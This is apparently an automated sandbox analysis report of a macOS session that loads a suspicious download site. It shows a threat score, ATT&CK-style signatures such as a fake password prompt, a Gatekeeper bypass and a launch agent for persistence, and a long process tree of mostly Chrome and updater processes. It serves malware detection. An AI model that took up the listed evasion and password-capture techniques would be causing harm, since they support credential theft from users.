Analysis
- geolocation tags
- user interaction
yes - max time kernel
358s - max time network
360s - platform
macos-10.15_amd64 - resource
macos-20250619-en - resource tags
- submitted
10/08/2026, 19:41
General
- Target https://azuremods.co/download/?id=34
- Sample260810-yefvmagk2x
Score
8/10
Malware Config
Signatures
- Identifies hardware specifics through system_profiler 6 IoCs
- Path Permission 1 TTPs
Adversaries may modify directory permissions/attributes to evade access control lists (ACLs) and access protected files.
- Prompts the user for their password using a hidden input dialog 1 TTPs 8 IoCs
Adversaries may mimic a system prompt to capture a user's password through a GUI dialog with masked input.
- File Permission 1 TTPs
Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.
- Gatekeeper Bypass 1 TTPs
Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apples security model to ensure only trusted applications are executed on a host.
- File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur.
- Launch Agent 1 TTPs
Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.
- AppleScript 1 TTPs 12 IoCs
AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.
- Checks the status of system security protections 1 TTPs 3 IoCs
System utilities were executed to query the status of System Integrity Protection or FileVault encryption. This can be abused to discover local security settings.
- File and Directory Discovery. 1 TTPs 3 IoCs
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
- Resource Forking 1 TTPs 16 IoCs
Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.
- Launchctl 1 TTPs 2 IoCs
Adversaries may abuse launchctl to execute commands or programs. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.
Processes
-
/bin/shsh -c "/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --simulate-outdated-no-au='Tue, 31 Dec 2099' --new-window 'https://azuremods.co/download/?id=34'"1⤵
-
/bin/bashsh -c "/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --simulate-outdated-no-au='Tue, 31 Dec 2099' --new-window 'https://azuremods.co/download/?id=34'"1⤵
-
/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd1⤵
-
/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged"/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged"1⤵
-
/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer1⤵
-
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" "--simulate-outdated-no-au=Tue, 31 Dec 2099" --new-window "https://azuremods.co/download/?id=34"1⤵
-
/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater"/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater" -bgcheck1⤵
-
/usr/libexec/pkreporter/usr/libexec/pkreporter1⤵
-
/usr/libexec/xpcproxyxpcproxy com.apple.GameController.gamecontrollerd1⤵
-
/usr/libexec/gamecontrollerd/usr/libexec/gamecontrollerd1⤵
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/chrome_crashpad_handler"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/chrome_crashpad_handler" "--monitor-self-annotation=ptype=crashpad-handler" "--database=/Users/run/Library/Application Support/Google/Chrome/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=channel=" "--annotation=plat=OS X" "--annotation=prod=Chrome_Mac" "--annotation=ver=101.0.4951.54" "--handshake-fd=9"1⤵
-
/usr/bin/profiles/usr/bin/profiles status -type enrollment1⤵
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers/ksinstall" "--install=/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz"1⤵
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/developer_id_certificate_reauthorize"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/developer_id_certificate_reauthorize" com.google.Chrome1⤵
-
/usr/bin/tar/usr/bin/tar -Oxjf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources/Keystone.tbz" GoogleSoftwareUpdate.bundle/Contents/Info.plist1⤵
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)" "--type=gpu-process" "--gpu-preferences=UAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgEAAAAAAAAmAQAAAAAAACIAQAAMAAAAIABAAAAAAAAiAEAAAAAAACQAQAAAAAAAJgBAAAAAAAAoAEAAAAAAACoAQAAAAAAALABAAAAAAAAuAEAAAAAAADAAQAAAAAAAMgBAAAAAAAA0AEAAAAAAADYAQAAAAAAAOABAAAAAAAA6AEAAAAAAADwAQAAAAAAAPgBAAAAAAAAAAIAAAAAAAAIAgAAAAAAABACAAAAAAAAGAIAAAAAAAAgAgAAAAAAACgCAAAAAAAAMAIAAAAAAAA4AgAAAAAAAEACAAAAAAAASAIAAAAAAABQAgAAAAAAAFgCAAAAAAAAYAIAAAAAAABoAgAAAAAAAHACAAAAAAAAeAIAAAAAAACAAgAAAAAAAIgCAAAAAAAAkAIAAAAAAACYAgAAAAAAAKACAAAAAAAAqAIAAAAAAACwAgAAAAAAALgCAAAAAAAAwAIAAAAAAADIAgAAAAAAANACAAAAAAAA2AIAAAAAAADgAgAAAAAAAOgCAAAAAAAA8AIAAAAAAAD4AgAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAHAAAAEAAAAAAAAAAAAAAACAAAABAAAAAAAAAAAAAAAAkAAAAQAAAAAAAAAAAAAAALAAAAEAAAAAAAAAAAAAAADAAAABAAAAAAAAAAAAAAAA4AAAAQAAAAAAAAAAAAAAAPAAAAEAAAAAAAAAABAAAAAAAAABAAAAAAAAAAAQAAAAcAAAAQAAAAAAAAAAEAAAAIAAAAEAAAAAAAAAABAAAACQAAABAAAAAAAAAAAQAAAAsAAAAQAAAAAAAAAAEAAAAMAAAAEAAAAAAAAAABAAAADgAAABAAAAAAAAAAAQAAAA8AAAAQAAAAAAAAAAQAAAAAAAAAEAAAAAAAAAAEAAAABwAAABAAAAAAAAAABAAAAAgAAAAQAAAAAAAAAAQAAAAJAAAAEAAAAAAAAAAEAAAACwAAABAAAAAAAAAABAAAAAwAAAAQAAAAAAAAAAQAAAAOAAAAEAAAAAAAAAAEAAAADwAAABAAAAAAAAAABwAAAAAAAAAQAAAAAAAAAAcAAAAHAAAAEAAAAAAAAAAHAAAACAAAABAAAAAAAAAABwAAAAkAAAAQAAAAAAAAAAcAAAALAAAAEAAAAAAAAAAHAAAADAAAABAAAAAAAAAABwAAAA4AAAAQAAAAAAAAAAcAAAAPAAAAEAAAAAAAAAAIAAAAAAAAABAAAAAAAAAACAAAAAcAAAAQAAAAAAAAAAgAAAAIAAAAEAAAAAAAAAAIAAAACQAAABAAAAAAAAAACAAAAAsAAAAQAAAAAAAAAAgAAAAMAAAAEAAAAAAAAAAIAAAADgAAABAAAAAAAAAACAAAAA8AAAAQAAAAAAAAAAoAAAAAAAAAEAAAAAAAAAAKAAAABwAAABAAAAAAAAAACgAAAAgAAAAQAAAAAAAAAAoAAAAJAAAAEAAAAAAAAAAKAAAACwAAABAAAAAAAAAACgAAAAwAAAAQAAAAAAAAAAoAAAAOAAAAEAAAAAAAAAAKAAAADwAAAAgAAAAAAAAACAAAAAAAAAA=" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=32"1⤵
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=network.mojom.NetworkService" "--lang=en-GB" "--service-sandbox-type=network" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=24"1⤵
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=storage.mojom.StorageService" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=24"1⤵
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)" "--type=utility" "--utility-sub-type=mac_notifications.mojom.MacNotificationProvider" "--lang=en-GB" "--service-sandbox-type=none" --message-loop-type-ui --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072"1⤵
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=7" "--launch-time-ticks=278276023" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=60"1⤵
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=6" "--launch-time-ticks=278487365" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=60"1⤵
-
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Resources/GoogleSoftwareUpdateAgent.app/Contents/MacOS/GoogleSoftwareUpdateAgent/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Resources/GoogleSoftwareUpdateAgent.app/Contents/MacOS/GoogleSoftwareUpdateAgent -runMode ifneeded1⤵
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --wake-all --system1⤵
-
/Users/run/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater"/Users/run/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --wake-all1⤵
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=4"1⤵
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --wake --system2⤵
-
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=4"2⤵
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/Helpers/launcher"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/Helpers/launcher" --internal3⤵
-
-
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin --productid com.google.Chrome --print-tickets --store /Library/Google/GoogleSoftwareUpdate/TicketStore/Keystone.ticketstore3⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.SafariLaunchAgent3⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=8" "--launch-time-ticks=281294408" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=75"3⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=12" "--launch-time-ticks=281487525" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=66"3⤵
-
-
/Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent/Library/Apple/System/Library/CoreServices/SafariSupport.bundle/Contents/MacOS/SafariLaunchAgent3⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=10" "--launch-time-ticks=281731654" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=78"3⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=11" "--launch-time-ticks=281741983" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=78"3⤵
-
-
/Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher"/Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher"3⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=84"3⤵
-
-
/usr/sbin/system_profiler/usr/sbin/system_profiler SPConfigurationProfileDataType -detailLevel mini -timeout 15 -xml3⤵
-
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdaterGoogleUpdater --server "--service=update-internal" --system3⤵
-
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=5"3⤵
-
-
/Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher"/Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher"3⤵
-
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdaterGoogleUpdater --server "--service=update" --system3⤵
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=5"4⤵
-
-
/usr/bin/profiles/usr/bin/profiles status -type enrollment4⤵
-
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdaterGoogleUpdater --server "--service=update" --system4⤵
-
/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater"/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=5"5⤵
-
-
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin -P com.google.Chrome --delete --store /Users/run/Library/Google/GoogleSoftwareUpdate/TicketStore/Keystone.ticketstore5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=70"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=100"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=117"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=119"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=117"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=20" "--launch-time-ticks=302261106" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=122"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=21" "--launch-time-ticks=304572012" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=69"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=66"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=23" "--launch-time-ticks=307433622" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=69"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=24" "--launch-time-ticks=307725053" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=75"5⤵
-
-
/usr/libexec/xpcproxyxpcproxy com.apple.speech.speechsynthesisd5⤵
-
-
/System/Library/Frameworks/ApplicationServices.framework/Frameworks/SpeechSynthesis.framework/Resources/com.apple.speech.speechsynthesisd/System/Library/Frameworks/ApplicationServices.framework/Frameworks/SpeechSynthesis.framework/Resources/com.apple.speech.speechsynthesisd5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=127"5⤵
-
-
/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,4753790032468255022,426754747089233667,131072" "--seatbelt-client=127"5⤵
-
-
